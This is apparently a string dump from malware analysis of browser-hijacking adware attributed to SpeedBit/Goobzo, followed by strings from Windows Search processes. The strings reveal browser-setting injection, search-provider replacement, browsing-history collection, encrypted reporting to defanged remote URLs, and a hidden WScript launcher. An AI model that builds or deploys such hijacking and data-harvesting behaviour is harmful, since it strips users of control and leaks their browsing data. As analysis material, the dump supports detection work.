sqlite_subquery_%p_

no such index: %s

no such table: %s

sqlite3_get_table() called with two or more incompatible queries

cannot create %s trigger on view: %S

INSERT INTO %Q.%s VALUES('trigger',%Q,%Q,0,'CREATE TRIGGER %q')

cannot create INSTEAD OF trigger on table: %S

no such trigger: %S

no such column: %s

-- TRIGGER %s

PRAGMA vacuum_db.synchronous=OFF

SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence' AND rootpage%26gt;0

SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21) FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'

SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14) FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %'

SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage%26gt;0

INSERT INTO vacuum_db.sqlite_master SELECT type, name, tbl_name, rootpage, sql FROM main.sqlite_master WHERE type='view' OR type='trigger' OR (type='table' AND rootpage=0)

SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';

UPDATE %Q.%s SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q WHERE rowid=#%d

vtable constructor did not declare schema: %s

vtable constructor failed: %s

no such module: %s

at most %d tables in a join

table %s: xBestIndex returned an invalid plan

TABLE %s

cannot use index: %s

%s WITH AUTOMATIC INDEX

%s AS %s

%s VIA MULTI-INDEX UNION

%s WITH INDEX %s

%s VIRTUAL TABLE INDEX %d:%s

%s USING PRIMARY KEY

%s ORDER BY

the NOT INDEXED clause is not allowed on UPDATE or DELETE statements within triggers

the INDEXED BY clause is not allowed on UPDATE or DELETE statements within triggers

SHELL32.dll

SHLWAPI.dll

GetProcessHeap

KERNEL32.dll

USER32.dll

RegOpenKeyExA

RegCloseKey

RegOpenKeyExW

ADVAPI32.dll

ole32.dll

OLEAUT32.dll

WinHttpReceiveResponse

WinHttpSendRequest

WinHttpConnect

WinHttpCloseHandle

WinHttpQueryDataAvailable

WinHttpOpen

WinHttpOpenRequest

WinHttpReadData

WinHttpGetIEProxyConfigForCurrentUser

WINHTTP.dll

GetExtendedTcpTable

IPHLPAPI.DLL

WS2_32.dll

PSAPI.DLL

WTSAPI32.dll

Secur32.dll

CryptMsgClose

CertGetNameStringW

CertFreeCertificateContext

CertFindCertificateInStore

CertCloseStore

CryptMsgGetParam

CRYPT32.dll

USERENV.dll

HttpSendRequestExW

HttpSendRequestW

HttpAddRequestHeadersW

HttpQueryInfoW

HttpOpenRequestW

HttpEndRequestW

WININET.dll

CreatePipe

ConnectNamedPipe

CreateNamedPipeW

DisconnectNamedPipe

GetNamedPipeInfo

GetCPInfo

RegCreateKeyW

RegCreateKeyExW

RegOpenKeyW

RegQueryInfoKeyW

RegDeleteKeyA

RegDeleteKeyW

RegEnumKeyExA

RegCreateKeyA

RegCreateKeyExA

RegQueryInfoKeyA

RegOpenKeyA

RegEnumKeyExW

RegEnumKeyW

zc%C1

.?AVImplementation@ReportBuilder@Monitor@SpeedBit@@

.?AVReportBuilder@Monitor@SpeedBit@@

.?AVHistoryReportFactory@Implementation@ServerReporter@Monitor@SpeedBit@@

.?AVImplementation@ServerReporter@Monitor@SpeedBit@@

.?AVServerReporter@Monitor@SpeedBit@@

.?AVReportFactory@Implementation@ServerReporter@Monitor@SpeedBit@@

.?AVSendReportTask@Implementation@WatchmanMonitor@Monitor@SpeedBit@@

.?AVEventHandler@SendReportTask@Implementation@WatchmanMonitor@Monitor@SpeedBit@@

.?AVCHttpAsync@@

.?AVPipedProcess@Utils@SpeedBit@@

.?AVImplementation@PipedProcess@Utils@SpeedBit@@

.?AVImplementation@MachineKey@Utils@SpeedBit@@

.?AVMachineKey@Utils@SpeedBit@@

.?AVCHttp@@

.?AVChromeBrowserHistory@SQLite@SpeedBit@@

.?AVException@sql@@

.?AVLoader@Extension@Chrome@SpeedBit@@

.?AVImplementation@Extension@Chrome@SpeedBit@@

.?AVBrowserInfo@Chrome@SpeedBit@@

.?AVFactory@BrowserInfo@Chrome@SpeedBit@@

.?AVImplementation@BrowserInfo@Chrome@SpeedBit@@

.?AVImplementation@Factory@BrowserInfo@Chrome@SpeedBit@@

.?AVExtension@Chrome@SpeedBit@@

.?AVWebDataDB@SQLite@SpeedBit@@

.?AVImplementation@WebDataDB@SQLite@SpeedBit@@

.?AVFirefoxSettings@Implementation@Snapshot@Injection@SpeedBit@@

.?AVSettings@Chrome@Snapshot@Injection@SpeedBit@@

.?AVChromeSettings@Implementation@Snapshot@Injection@SpeedBit@@

.?AVSettings@Firefox@Snapshot@Injection@SpeedBit@@

.?AVSettings@Chrome@General@Config@SpeedBit@@

.?AVUrlSet@Implementation@General@Config@SpeedBit@@

.?AVFirefoxValueSet@Implementation@General@Config@SpeedBit@@

.?AVOperaSettings@Implementation@General@Config@SpeedBit@@

.?AVSettings@Firefox@General@Config@SpeedBit@@

.?AVSettings@Opera@General@Config@SpeedBit@@

.?AVFirefoxSettings@Implementation@General@Config@SpeedBit@@

.?AVChromeSettings@Implementation@General@Config@SpeedBit@@

.?AVChromeValueSet@Implementation@General@Config@SpeedBit@@

.?AVValueSet@Chrome@General@Config@SpeedBit@@

.?AVUrlSet@General@Config@SpeedBit@@

.?AVValueSet@Firefox@General@Config@SpeedBit@@

.?AVChromeSettings@Implementation@User@Config@SpeedBit@@

.?AVSettings@Firefox@User@Config@SpeedBit@@

.?AVFirefoxSettings@Implementation@User@Config@SpeedBit@@

.?AVSettings@Chrome@User@Config@SpeedBit@@

.?AVProfile@Implementation@InstallInfo@Firefox@SpeedBit@@

.?AVInstallInfo@Firefox@SpeedBit@@

.?AVProfile@InstallInfo@Firefox@SpeedBit@@

.?AVInstallInfo@Implementation@0Firefox@SpeedBit@@

.?AVBrowserSettings@Implementation@0Firefox@SpeedBit@@

.?AVBrowserSettings@Firefox@SpeedBit@@

.?AVBrowserSettings@Implementation@0Chrome@SpeedBit@@

.?AVBrowserSettings@Chrome@SpeedBit@@

if (WScript.Arguments.length %26gt; 0)

var root = WScript.Arguments(0);

for (var i = 1, n = WScript.Arguments.length; i %26lt; n; ++i)

args.push(WScript.Arguments(i));

var path = "\"" + root.replace(/\\*$/, "").replace(/\//g, "\\") + "\"";

path += " \"" + args.join("\" \"") + "\"";

var shell = WScript.CreateObject("WScript.Shell");

shell.Run(path, 0, false);

%26lt;requestedExecutionLevel level='highestAvailable' uiAccess='false' /%26gt;

1(1-1F1S1X1n1}1

00151@1\1

040;0_0~0

?%?)?.?3?%26gt;?

8%8F8

=2=9=`=-%26gt;:%26gt;

0"161\1}1

%26lt;0;5^5}6

1!1)141=1

8"9(9,90949

%26gt;.?4?8?%26lt;?@?

2 2$2(2,272

:%:,:2:8:

4 4$4(4,4044484%26lt;4@4

$5(5,5054585

; ;$;(;,;0;4;8;%26lt;;@;

%26gt; %26gt;$%26gt;(%26gt;,%26gt;0%26gt;4%26gt;8%26gt;

? ?,?0?4?8?%26lt;?

,0004080

6 6$6(6,6

7 7(707%26lt;7`7

combase.dll

kernel32.dll

mscoree.dll

- floating point support not loaded

- CRT not initialized

- Attempt to initialize the CRT more than once.

portuguese-brazilian

USER32.DLL

Injection::Snapshot::Controller::IsChromeInstalled

Chrome installed:

Injection::Snapshot::Controller::IsFirefoxInstalled

Firefox installed:

Chrome unchanged:

Firefox unchanged:

Checking%26lt;Parameter.Input%26gt;

Checking%26lt;Parameter.Key%26gt;

777705555443332

5555443332

logs\${ModuleName}.${Pid}.log

WatchmanKey::TimeBomb::UninstallTimeBomb

Reporting

ChromeExtensionMonitorWorkerThread started

ChromeExtensionMonitor::CollectExtensionInfo

ChromeExtensionMonitor::CheckExtension

8Reset DNS to 8.8.8.8 for adapter

WinHTTP Example/1.0

VVV.google.com

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows

Registry::Helper::RegOpenKeyExA

Chrome::StartPageProtectionEnabled

Chrome::SearchEngineProtectionEnabled

Chrome::RestoreOnStartupProtectionEnabled

Chrome::StartPageProtectionDisabled

Chrome::SearchEngineProtectionDisabled

Chrome::RestoreOnStartupProtectionDisabled

Firefox::StartPageChangedByUser

Firefox::SearchEngineChangedByUser

Explorer.HomePageEvent:

Explorer.SearchEngineEvent:

Firefox.HomePageEvent:

Firefox.SearchEngineEvent:

ProcessCatcher::ExecutionContext::Resume

Allocation%26lt;ExecutionContext%26gt;

iexplore.exe

rundll32.exe

chrome.exe

firefox.exe

opera.exe

safari.exe

navigator.exe

torch.exe

U.exe

epic.exe

browser.exe

Maxthon.exe

sbframe.exe

avant.exe

dragon.exe

bobrowser.exe

crossbrowse.exe

vosteran.exe

ProcessMonitor::ExecutionContext::Resume

E:\iexplore.exe|E:\rundll32.exe

E:\chrome.exe

E:\firefox.exe

E:\opera.exe

smci32.dll

smi32.exe

Utils::PipedProcess::Create

Utils::PipedProcess::Start

Utils::PipedProcess::WriteData

[ReportDllsThread]

ProcessWatcher::ExecutionContext::Resume

Local proxy port:

127.0.0.1

[ProxyMonitor::getProcessByPort]

Failed to get GetExtendedTcpTable

smei32.dll

[ReportBuilder::MakeDefaultBrowserSettingsElement]

[ReportBuilder::CalculateHash]

Result.Hash:

[ReportBuilder::MakeHistoryReport]

Building history report...

ReportBuilder::GetWMISystemInfo

ReportBuilder::GetExplorerBrowserInfo

ReportBuilder::GetChromeBrowserInfo

. Chrome Search:

History Report:

[ReportBuilder::MakeReport]

Report:

[ReportBuilder::GetExplorerBrowserInfo]

[ReportBuilder::GetChromeBrowserInfo]

Chrome::BrowserInfo::Factory::Create

Chrome::BrowserInfo::Factory::GetInfo

sma.exe

Utils::PipedProcess::ReadData

Utils::PipedProcess::Wait

Utils::PipedProcess::WriteEof

Utils::MachineKey::Create

Utils::MachineKey::Generate

Encrypt data. Key:

Decrypt data. Key:

ReportBuilder::MakeInstallReport

[ServerReporter::SendInstallReport]

ReportBuilder::MakeUninstallReport

[ServerReporter::SendUninstallReport]

ReportBuilder::MakeRegulatReport

[ServerReporter::SendRegularReport]

ReportBuilder::MakeUserActionReport

[ServerReporter::SendUserActionReport]

ReportBuilder::MakeHistoryReport

[ServerReporter::SendHistoryReport]

ServerReporter::MakeReport

ServerReporter::SendReport

[ServerReporter::SendReport]

ServerEncryption::CreateSessionKey

Report in Base 64:

10D2FBE6-2346-4627-A9F5-FB48313C5001

ServerReporter::Implementation::GetTargetUrl - User GUID is problematic GUID (hardcoded/unknown)

ServerReporter::Implementation::GetTargetUrl - Failed replacing problematic GUID with new one

[ServerReporter::GetUserProfile]

[ServerReporter::MakeReport]

ServerReporter::GetUserProfile

ReportBuilder::Create

Result.Report:

[ServerReporter::SetLastReportTime]

WatchmanKey::Reporter::SetLastTime

Package url:

WatchmanKey::Updater::SetLastTime

.Service

\Microsoft\Windows\Start Menu

*.lnk

\Internet Explorer\iexplore.exe

\Safari\Safari.exe

/report

/report1

%d.%d.%d.%d%n

Created URL Set object from configuration. Name:

UrlSetID:

Could not find matching URL set... Using old configuration

[LocalScope::UpdateParser::ParseReportSection]

Monitor::ServerEncryption::CreateSessionKey

Full url:

Data url:

sbu.exe

smw.sys

wscript.exe

smhe.js

[Monitor::WatchmanGuard::SendReport]

InstallReporter

Monitor::ServerReporter::Create

Monitor::ServerReporter::SendInitialReport

/urlset:

Options.InjectAllBrowsers:

Options.InjectDefaultOnly:

Options.ServiceName:

Options.ProductCode:

Options.ProductPriority:

Options.EnablePinner:

Options.EnableRedirect:

Options.EnableYellowBandSuppression:

Options.UpdateUrl:

Options.ReportUrl:

Options.AutoStart:

Options.ProtectSearch:

Options.ProtectHome:

Options.ProtectTab:

Options.ExplorerInjection:

Options.ChromeInjection:

Options.FirefoxInjection:

Options.OperaInjection:

Options.ConfigPath:

Options.ConfigKey:

Getting current URL Set

Getting URL Set from options

] Provided. And is different from current URL set [

URL Set [

general_config.xml

system_config.xml

[WatchmanInstaller::SendReport1]

iexplore.exe is running, result for getting DLL's:

firefox.exe is running, result for getting DLL's:

chrome.exe is running, result for getting DLL's:

ServerReporter::Create

URL to use:

ServerReporter::SendRegularReport

[WatchmanInstaller::SendReport]

Currently set URLSet:

Updating system config with new URL set...

Already reported duiring first install

Report' been sent:

WatchmanInstaller::SendReport1

calling SendReport1...

WatchmanInstaller::SendReport

[Monitor::WatchmanMonitor::CreateSendReportTask]

SendReportTask

new%26lt;SendReportTask%26gt;

[Monitor::WatchmanMonitor::OnSendReportSucceeded]

[Monitor::WatchmanMonitor::OnSendReportFailed]

Need to send report!!!

Original report URL:

ServerReporter::SendInitialReport

[Monitor::WatchmanMonitor::OnChromeProtectionChanged]

User has changed the chrome protection for:

[Monitor::WatchmanMonitor::OnResetFirefoxProtection]

User has reset the firefox protection:

Next report task:

Scheduller::RegisterTask%26lt;SendReportTask%26gt;

Monitor::Application::EnsureSystemKey

Options.Revert:

Settings.Final:

ADVAPI32.DLL

shlwapi.dll

Utils::Registry::OpenKeyExW

Subkey:

[Utils::Registry::RecursiveDeleteKeyW]

SHLWAPI.GetAddressOf%26lt;SHDeleteKeyW%26gt;

WKERNEL32.DLL

VERSION.DLL

hXXp://d1y2jryd6u59ns.cloudfront.net/p.ashx

\\.\pipe\

Could not create thread event. %%s

Could not create new client event. %%s

Could not create accept thread. %%s

Could not create work thread. %%s

Could not start thread. %%s

Stop IPC error. %%s

Pipe (0x%X) read problems. %%s

NTDLL.DLL

Windows NT 6.1

%s?e=%s

zvl=%s%26

%s?prd=%s%26aff=%s%26ver=%s%26rnd=%d%26usid=%s%26pixGuid=%s

%26tss=%d%26action=%s%26actionparam=%s

[Utils::PipedProcess::CreateOutputHandles]

[Utils::PipedProcess::CreateInputHandles]

[Utils::PipedProcess::SpawnProcess]

Utils::PipedProcess::CreateOutputHandles

Utils::PipedProcess::CreateInputHandles

Utils::PipedProcess::SpawnProcess

[Utils::PipedProcess::Start]

[Utils::PipedProcess::Wait]

Utils::PipedProcess::WriteProc

[Utils::PipedProcess::WriteData]

Utils::PipedProcess::ReadProc

[Utils::PipedProcess::ReadData]

.cache

ntdll.dll

Could not open memory object. Object name: %s. %%s

Could not create memory object. Object name: %s. %%s

Could not map memory object. Object name: %s. Size: %u. %%s

Could not map memory object. Object name: %s. %%s

Could not create sync object for memory. Object name: %s. %%s

pathToSignedProductExe

SELECT * FROM Win32_OperatingSystem

[BrowserHistory::GetPropertyReport]

Found URL:

%08X-%04hX-%04hX-%02X%02X-%02X%02X%02X%02X%02X%02X

IExecAction::put_Path

IAction::QueryInterface%26lt;IExecAction%26gt;

IExecAction::put_Arguments

IExecAction::put_WorkingDirectory

http\shell\open\command

Software\Microsoft\Windows\CurrentVersion\App Paths

[Utils::SoftwareInfo::GetHttpOpenHandler]

Utils::Registry::OpenKeyW

SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy

Could not create pipe. %%s

Could not allocate IPC memory. Requires size: %u

Event error. %%s

Could not create pipe event. %%s

Pipe connecting error. %%s

Error code: %u ('%s')

Not enough memory. Size: %s (%s)

Could not create IPC event. %%s

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Content-Type: multipart/form-data; boundary=%s

%04X%04X%04X

HTTP/1.1

Content-Disposition: form-data; name="%s"

Software\Microsoft\Windows\CurrentVersion\Internet Settings

HTTP/1.0

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

SYSTEM\CurrentControlSet\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}

[SynchronousPipe::Read]

[SynchronousPipe::Write]

CChromeExtension::GetFileListInExtenstion

__MSG_

messages.json

manifest.json

CHROME.EXE

[Chrome::BrowserInfo::Query]

WebData

SHELL32.DLL

e\Application\chrome.exe

Google\Chrome

\resources.pak

\Google\Chrome\Application\chrome.exe

\Google\Chrome\Application\

\Web Data

[SQLite::Implementation::AddProvider]

[SQLite::Implementation::GetProviderById]

[SQLite::Implementation::GetFirstProviderId]

[SQLite::Implementation::GetProviderByKeyword]

[SQLite::Implementation::GetProviderId]

chrome-extension://

13050095043000000

hXXp://api.searchpredict.com/api/?rqtype=ffplugin%26siteID=8661%26dbCode=1%26command={searchTerms}

4BB42133-5533-4A0C-BF72-F1B8C8776A11

Checking%26lt;extensions.settings%26gt;

[Injection::Snapshot::Chrome::Settings::Dump]

[Injection::Snapshot::Firefox::Settings::Dump]

[Monitor::RestoreData::Controller::Build%26lt;ChromeSettings%26gt;]

[Monitor::RestoreData::Controller::Build%26lt;FirefoxSettings%26gt;]

[Injection::Snapshot::Builder::BuildSettings%26lt;ChromeSettings%26gt;]

[Injection::Snapshot::Builder::BuildSettings%26lt;FirefoxSettings%26gt;]

Injection::Snapshot::Parser::Parse%26lt;ChromeSettings%26gt;

new%26lt;ChromeSettings%26gt;

Injection::Snapshot::Parser::Parse%26lt;FirefoxSettings%26gt;

new%26lt;FirefoxSettings%26gt;

[Injection::Snapshot::Parser::Parse%26lt;ChromeSettings%26gt;]

ReadStringNode%26lt;AboutTabsUrl%26gt;

ReadStringNode%26lt;DefaultProviderKeyword%26gt;

[Injection::Snapshot::Parser::Parse%26lt;FirefoxSettings%26gt;]

Chrome::BrowserSettings::Create

[Injection::Snapshot::Controller::IsChromeInstalled]

Firefox::BrowserSettings::Create

[Injection::Snapshot::Controller::IsFirefoxInstalled]

Firefox::BrowserSettings::RestoreState

Chrome::BrowserSettings::RestoreState

Argument.SystemConfig:

Argument.Config::User:

Argument.Config::General:

Chrome::BrowserSettings::PropagateState

Firefox::BrowserSettings::PropagateState

Argument.UserSid:

WatchmanKey::Users::SaveRestoreData

[WatchmanKey::GetEncryptionKey]

MachineKey::Generate

MachineKey::Create

[WatchmanKey::LoadEncodedData]

[WatchmanKey::CleanupKey]

WatchmanKey::GetEncryptionKey

[WatchmanKey::SaveEncodedData]

WatchmanKey::System::Open

[WatchmanKey::System::LoadGeneralConfig]

[WatchmanKey::System::SaveGeneralConfig]

WatchmanKey::LoadEncodedData

WatchmanKey::SaveEncodedData

WatchmanKey::System::Ensure

[WatchmanKey::System::SaveSystemConfig]

[WatchmanKey::System::LoadSystemConfig]

WatchmanKey::EnsureKey

[WatchmanKey::Users::Ensure]

WatchmanKey::OpenKey

[WatchmanKey::Users::Open]

[WatchmanKey::Users::LoadConfiguration]

[WatchmanKey::Users::SaveConfiguration]

WatchmanKey::Users::Ensure

[WatchmanKey::Users::LoadRestoreData]

[WatchmanKey::Updater::SetLastTime]

[WatchmanKey::Updater::GetBlackListHash]

[WatchmanKey::Updater::SetBlackListHash]

[WatchmanKey::Reporter::SetLastTime]

[WatchmanKey::Reporter::GetLastTime]

[WatchmanKey::TimeBomb::Uninstall]

WatchmanKey::SystemKey::Open

{CFBFAE00-17A6-11D0-99CB-00C04FD64497}

{7F4EFF06-7032-458e-AE16-1C1D8255C28A}

smod.xml

SearchModulePlus.crx

DATAMNGR.DLL

IEBHO.DLL

VC32.DLL

[Config::General::UrlSet::Copy]

[Config::General::Chrome::Settings::Dump]

[Config::General::Chrome::ValueSet::Copy]

[Config::General::Chrome::Settings::Copy]

[Config::General::Firefox::Settings::Copy]

[Config::General::Firefox::Settings::Dump]

[Config::General::Opera::Settings::Dump]

[Config::General::Firefox::ValueSet::Copy]

[Config::General::Opera::Settings::Copy]

Config::General::Parser::ParseUrlSet

Config::General::Parser::ParseFirefoxSettings

Config::General::Parser::ParseChromeSettings

Config::General::Parser::ParseOperaSettings

ReadStringNode%26lt;StartPageUrl%26gt;

ReadStringNode%26lt;AboutTabUrl%26gt;

eReadStringNode%26lt;SearchScopeUrl%26gt;

ReadStringNode%26lt;SearchScopeIconUrl%26gt;

ReadStringNode%26lt;SearchScopeSuggestUrl%26gt;

[Config::General::Parser::ParseChromeSettings]

Config::General::Parser::ParseChromeValueSets

MissedElement%26lt;GoogleChrome%26gt;

ReadStringNode%26lt;HomePageUrl%26gt;

[Config::General::Parser::ParseChromeValueSets]

ReadStringNode%26lt;DefaultProviderSearchUrl%26gt;

ReadStringNode%26lt;DefaultProviderIconUrl%26gt;

[Config::General::Parser::ParseFirefoxSettings]

ReadStringNode%26lt;DefaultProviderSuggestUrl%26gt;

Config::General::Parser::ParseFirefoxValueSets

MissedElement%26lt;MozillaFirefox%26gt;

ReadOptionalStringNode%26lt;HomePageUrl%26gt;

[Config::General::Parser::ParseFirefoxValueSets]

ReadOptionalStringNode%26lt;SearchPluginUrl%26gt;

lReadOptionalStringNode%26lt;SearchPluginSuggestionUrl%26gt;

MissedElement%26lt;UrlSet%26gt;

[Config::General::Parser::ParseUrlSet]

ReadStringNode%26lt;TabPageUrl%26gt;

ReadStringNode%26lt;SearchEngineFaviconUrl%26gt;

yReadStringNode%26lt;SearchEngineSuggestionUrl%26gt;

ReadStringNode%26lt;SearchEngineSearchUrl%26gt;

[Config::General::Parser::ParseOperaSettings]

ReadStringNode%26lt;SearchEngineKeyword%26gt;

MissedElement%26lt;Opera%26gt;

ReadStringNode%26lt;Key%26gt;

[Config::General::Builder::Build%26lt;ChromeSettinsg%26gt;]

[Config::General::Builder::Build%26lt;OperaSettinsg%26gt;]

[Config::General::Builder::Build%26lt;FirefoxSettinsg%26gt;]

We couldn't find the URL Set section... probably an old configuration!

WatchmanKey::System::LoadGeneralConfig

WatchmanKey::System::SaveGeneralConfig

2.1.0.7

2.0.0.0

ReadOptionalStringNode%26lt;UrlSet%26gt;

ReadStringNode%26lt;ReportUrl%26gt;

ReadStringNode%26lt;UpdateUrl%26gt;

ReadBooleanNode%26lt;MozillaFirefox%26gt;

ReadBooleanNode%26lt;GoogleChrome%26gt;

Could not find URL Set in configuration. Probably older configuration.

ReadBooleanNode%26lt;Opera%26gt;

WatchmanKey::System::LoadSystemConfig

WatchmanKey::System::SaveSystemConfig

[Config::User::Chrome::Settings::Copy]

[Config::User::Firefox::Settings::Copy]

Config::User::Parser::ParseChromeSettings

Config::User::Parser::ParseFirefoxSettings

[Config::User::Parser::ParseChromeSettings]

[Config::User::Parser::ParseFirefoxSettings]

[Config::User::Builder::BuildFirefoxSettings]

[Config::User::Builder::BuildChromeSettings]

WatchmanKey::User::LoadConfiguration

WatchmanKey::User::SaveConfiguration

Mozilla\Firefox\

profiles.ini

prefs.js

[Firefox::InstallInfo::ReadProfiles]

[Firefox::InstallInfo::QueryProfiles]

[Firefox::InstallInfo::ParseProfiles]

Firefox::InstallInfo::ReadProfiles

Firefox::InstallInfo::ParseProfiles

[Firefox::InstallInfo::Query]

No profiles found! Maybe - first start of Firefox?

[Firefox::BrowserSettings::MakeSnapshot]

[Firefox::BrowserSettings::RestoreState]

[Firefox::BrowserSettings::PropagateState]

Software\Microsoft\Windows\CurrentVersion\Ext\Settings

Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects

Software\Microsoft\Internet Explorer\AboutURLs

TopResultURLFallback

SuggestionURL

FaviconURL

IEXPLORE.EXE

Failed to call enum URL's. Error:

Software\Microsoft\Internet Explorer\URLSearchHooks

[Explorer::BrowserSettings::SetMainKeyValues]

[Explorer::BrowserSettings::SetTabbedBrowsingKeyValues]

[Explorer::BrowserSettings::SetSearchScopeKeyValues]

[Explorer::BrowserSettings::SetAboutURLsKeyValues]

Result.SearchScope:

Argument.SearchScopeToSearch:

Argument.Parent:

[Explorer::BrowserSettings::DeleteKey]

Argument.Subkey:

VirtualSpeedbitSearchScopeKey::EnsureKeyW

Key deleted:

TopResultURL

FaviconURLFallback

SuggestionsURL

SuggestionsURLFallback

\Opera\launcher.exe

Opera Software\Opera Stable\

\Opera\

\opera.pak

Web Data

\resources\default_partner_content.json

KERNELBASE.DLL

Chrome::InstallInfo::Get

[Chrome::BrowserSettings::OpenConfigFiles]

SQLite::WebDataDB::Create

Argument.HomePageUrl:

[Chrome::BrowserSettings::SetHomePagePreferences]

[Chrome::BrowserSettings::SetDefaultProviderPreferences]

Argument.HomePageIsNewTabPage:

Argument.DefaultProviderKeyWord:

Argument.DefaultProviderId:

Argument.DefaultProviderEncoding:

Argument.DefaultProviderName:

Argument.DefaultProviderIconUrl:

Argument.DefaultProviderSearchUrl:

[Chrome::BrowserSettings::SetRestoreOnStartupPreferences]

Argument.DefaultProviderSuggestUrl:

Argument.UrlsToRestoreOnStartup:

Argument.RestoreOnStartup:

Argument.KeywordToSearch:

[Chrome::BrowserSettings::GetSearchProviderId]

SQLite::WebDataDB::GetProviderById

SQLite::WebDataDB::GetFirstProviderId

[Chrome::BrowserSettings::EnsureSearchProvider]

Result.ProviderId:

[Chrome::BrowserSettings::DeleteSearchProvider]

SQLite::WebDataDB::Values::Create

[Chrome::BrowserSettings::MakeSnapshot]

[Chrome::BrowserSettings::RestoreState]

Chrome::BrowserSettings::DeleteSearchProvider

Chrome::BrowserSettings::OpenConfigFiles

SQLite::WebDataDB::SetDefaultProvider

[Chrome::BrowserSettings::PropagateState]

Chrome::BrowserSettings::EnsureSearchProvider

%Program Files%\Common Files\Goobzo\GBUpdatePlus\smu.exe

SearchProtocolHost.exe_3464:

.text

`.data

.rsrc

@.reloc

ADVAPI32.dll

ntdll.DLL

KERNEL32.dll

msvcrt.dll

USER32.dll

ole32.dll

OLEAUT32.dll

TQUERY.DLL

MSSHooks.dll

IMM32.dll

SHLWAPI.dll

SrchCollatorCatalogInfo

SrchDSSLogin

SrchDSSPortManager

SrchPHHttp

SrchIndexerQuery

SrchIndexerProperties

SrchIndexerPlugin

SrchIndexerClient

SrchIndexerSchema

Msidle.dll

Failed to get REGKEY_FLTRDMN_MS_TO_IDLE, using default

pfps-%26gt;psProperty.ulKind is LPWSTR but psProperty.lpwstr is NULL or empty

d:\win7sp1_gdr\enduser\mssearch2\common\utils\crchash.cxx

d:\win7sp1_gdr\enduser\mssearch2\search\search\gather\fltrdmn\fltrdaemon.cxx

d:\win7sp1_gdr\enduser\mssearch2\search\common\include\secutil.hxx

d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracerhelpers.h

d:\win7sp1_gdr\enduser\mssearch2\common\tracer\mutex.cpp

d:\win7sp1_gdr\enduser\mssearch2\common\include\srchxcpt.hxx

RegDeleteKeyW

RegDeleteKeyExW

8%uiP

Invalid parameter passed to C runtime function.

d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracersecutil.h

d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracmain.cpp

-%04d-%02d-%02d-%02d-%02d-%02d-%03d-%d

d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracmain.h

%26lt;/MSG%26gt;%26lt;/TRC%26gt;

%26lt;MSG%26gt;

%26lt;ERR%26gt; 0x%08x=

%26lt;LOC%26gt; %s(%d) %26lt;/LOC%26gt;

tid="0x%x"

pid="0x%x"

tagname="%s"

tagid="0x%x"

el="0x%x"

time="%04d/%02d/%02d %02d:%02d:%02d.%03d"

logname="%s"

d:\win7sp1_gdr\enduser\mssearch2\common\tracer\sysimprs.cxx

SHELL32.dll

PROPSYS.dll

ntdll.dll

RegCloseKey

RegCreateKeyExW

RegOpenKeyExW

RegQueryInfoKeyW

RegEnumKeyExW

ReportEventW

_amsg_exit

MsgWaitForMultipleObjects

SearchProtocolHost.pdb

2 2(20282|2

4%5S5

Software\Microsoft\Windows Search

https

kernel32.dll

msTracer.dll

msfte.dll

%08lX-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X

SOFTWARE\Microsoft\Windows Search

tquery.dll

%s\%s

HKEY_CLASSES_ROOT

HKEY_CURRENT_USER

HKEY_LOCAL_MACHINE

HKEY_USERS

HKEY_PERFORMANCE_DATA

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

Windows Search Service

%26lt;Exception%26gt;%26lt;HR%26gt;0x%08x%26lt;/HR%26gt;%26lt;eip%26gt;%p%26lt;/eip%26gt;%26lt;module%26gt;%S%26lt;/module%26gt;%26lt;line%26gt;%d%26lt;/line%26gt;%26lt;/Exception%26gt;

advapi32.dll

WAPI-MS-Win-Core-LocalRegistry-L1-1-0.dll

winhttp.dll

Software\Microsoft\Windows Search\Tracing

Software\Microsoft\Windows Search\Tracing\EventThrottleLastReported

Software\Microsoft\Windows Search\Tracing\EventThrottleState

%26lt;MSG%26gt;

%26lt;LOC%26gt; %S(%d) %26lt;/LOC%26gt;

tagname="%S"

logname="%S"

Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}

.\%s.mui

.\%s\%s.mui

%s\%s.mui

%s\%s\%s.mui

Microsoft Windows Search Protocol Host

7.00.7601.17610 (win7sp1_gdr.110503-1502)

SearchProtocolHost.exe

Windows

7.00.7601.17610

SearchFilterHost.exe_3964:

.text

`.data

.rsrc

@.reloc

ADVAPI32.dll

ntdll.DLL

KERNEL32.dll

msvcrt.dll

USER32.dll

ole32.dll

OLEAUT32.dll

TQUERY.DLL

IMM32.dll

MSSHooks.dll

mscoree.dll

SHLWAPI.dll

d:\win7sp1_gdr\enduser\mssearch2\search\search\gather\fltrhost\bufstm.cxx

d:\win7sp1_gdr\enduser\mssearch2\common\tracer\mutex.cpp

RegDeleteKeyW

RegDeleteKeyExW

8%uiP

d:\win7sp1_gdr\enduser\mssearch2\common\include\srchxcpt.hxx

Invalid parameter passed to C runtime function.

d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracersecutil.h

d:\win7sp1_gdr\enduser\mssearch2\common\tracer\tracmain.cpp

-%04d-%02d-%02d-%02d-%02d-%02d-%03d-%d

